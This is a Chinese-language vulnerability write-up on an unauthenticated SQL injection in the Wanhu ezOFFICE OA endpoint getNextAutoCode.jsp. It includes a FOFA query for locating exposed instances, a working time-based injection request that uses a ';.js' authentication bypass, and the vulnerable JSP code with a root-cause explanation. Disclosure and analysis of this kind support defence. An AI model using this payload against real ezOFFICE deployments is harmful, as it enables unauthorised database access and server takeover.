万户OA getNextAutoCode.jsp SQL注入漏洞


0x01 产品简介

万户OA ezoffice 是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台,将外网信息维护、客户服务、互动交流和日常工作紧密结合起来,有效提高工作效率。

0x02 漏洞概述

万户 ezOFFICE getNextAutoCode.jsp 接口存在SQL注入漏洞,未授权的攻击者可利用此漏洞获取数据库权限,深入利用可获取服务器权限。

0x03 复现环境

本地环境 OR FOFA:app="ezOFFICE协同管理平台" || app="万户ezOFFICE协同管理平台" || app="万户网络-ezOFFICE"

漏洞复现

注意由两个路径,代码都是一样的

platform/custom/custom_form/run/checkform/getNextAutoCode.jsp
platform/custom/ezform/run/getNextAutoCode.jsp

GET /defaultroot/platform/custom/custom_form/run/checkform/getNextAutoCode.jsp;.js?fieldId=1+WAITFOR+DELAY+'00:00:03'--&fieldName=2&orgName=4&tableId=3 HTTP/1.1
Host: 192.168.22.187:7001

成功延时 3 秒

漏洞分析

关于鉴权绕过,参考这篇文章:万户 ezOFFICE ajax_checkUserNum.jsp SQL注入漏洞

getNextAutoCode.jsp 代码如下,非常简单!

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
request.setCharacterEncoding("UTF-8");
String fieldId = request.getParameter("fieldId");
String fieldName = request.getParameter("fieldName");
String tableId = request.getParameter("tableId");
String orgName = request.getParameter("orgName");
response.setContentType("text/html; charset=UTF-8");
response.setHeader("Cache-Control","no-cache");
com.whir.ezoffice.customdb.customdb.bd.AutoCode ac = new com.whir.ezoffice.customdb.customdb.bd.AutoCode();
String ret = ac.getAutoCode(fieldId, fieldName, tableId, orgName, null);
out.print(ret);
%>

getAutoCode 函数如下

fieldId 通过 request.getParameter 获取后进入 getAutoCode 函数,直接拼接进 SQL 语句,然后执行,造成SQL注入漏洞,也是这么朴实无华!

最后

其他万户OA 相关漏洞
万户 ezOFFICE selectAmountField.jsp SQL注入漏洞
万户OA系列漏洞


手机扫码阅读

蓝凌智慧协同平台 fl_define_edit.aspx SQL注入漏洞

用友U8 Cloud QuerySoapServlet SQL注入漏洞

评 论